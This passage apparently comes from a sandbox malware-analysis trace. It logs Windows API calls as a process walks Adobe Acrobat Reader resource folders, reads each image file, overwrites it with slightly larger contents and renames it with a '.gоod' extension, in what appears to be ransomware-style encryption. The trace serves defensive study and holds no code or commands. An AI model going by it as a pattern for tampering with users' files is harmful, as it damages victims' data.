returned 0x77 [0233.003] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png.gоod", lpFilePart=0x0) returned 0x7c [0233.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0233.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8717a8f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0233.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0233.003] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning.png.gоod")) returned 1 [0233.005] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png", lpFilePart=0x0) returned 0x7a [0233.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0233.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x37cde10 | out: lpFileInformation=0x37cde10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517)) returned 1 [0233.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0233.005] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png", lpFilePart=0x0) returned 0x7a [0233.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0233.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.006] GetFileType (hFile=0x630) returned 0x1 [0233.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0233.006] GetFileType (hFile=0x630) returned 0x1 [0233.006] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x517 [0233.006] ReadFile (in: hFile=0x630, lpBuffer=0x37ce6a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x37ce6a0*, lpNumberOfBytesRead=0x203ec6b8*=0x517, lpOverlapped=0x0) returned 1 [0233.007] CloseHandle (hObject=0x630) returned 1 [0234.330] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png", lpFilePart=0x0) returned 0x7a [0234.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0234.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.332] GetFileType (hFile=0x834) returned 0x1 [0234.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0234.332] GetFileType (hFile=0x834) returned 0x1 [0234.332] WriteFile (in: hFile=0x834, lpBuffer=0x3b4b2f0*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3b4b2f0*, lpNumberOfBytesWritten=0x203ec5c8*=0x520, lpOverlapped=0x0) returned 1 [0234.333] CloseHandle (hObject=0x834) returned 1 [0234.334] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png", lpFilePart=0x0) returned 0x7a [0234.334] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png.gоod", lpFilePart=0x0) returned 0x7f [0234.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0234.334] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x87e2fab2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x520)) returned 1 [0234.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0234.334] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png.gоod")) returned 1 [0234.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0234.336] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes", lpFilePart=0x0) returned 0x72 [0234.336] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0234.336] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.337] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0234.337] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0234.337] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0234.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0234.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0234.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0234.337] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes", lpFilePart=0x0) returned 0x72 [0234.337] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0234.337] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.338] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0234.338] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0234.338] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0234.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0234.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0234.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0234.339] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark", lpFilePart=0x0) returned 0x77 [0234.339] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0234.341] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.341] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdae26b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0234.342] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdae26b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdae26b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0234.342] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0234.342] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0234.342] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.png", cAlternateFileName="")) returned 1 [0234.342] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 1 [0234.342] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0234.342] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0234.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0234.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0234.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0234.343] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark", lpFilePart=0x0) returned 0x77 [0234.343] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0234.344] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.344] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdae26b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0234.344] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdae26b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdae26b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0234.345] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0234.345] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0234.345] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.png", cAlternateFileName="")) returned 1 [0234.345] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 1 [0234.345] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 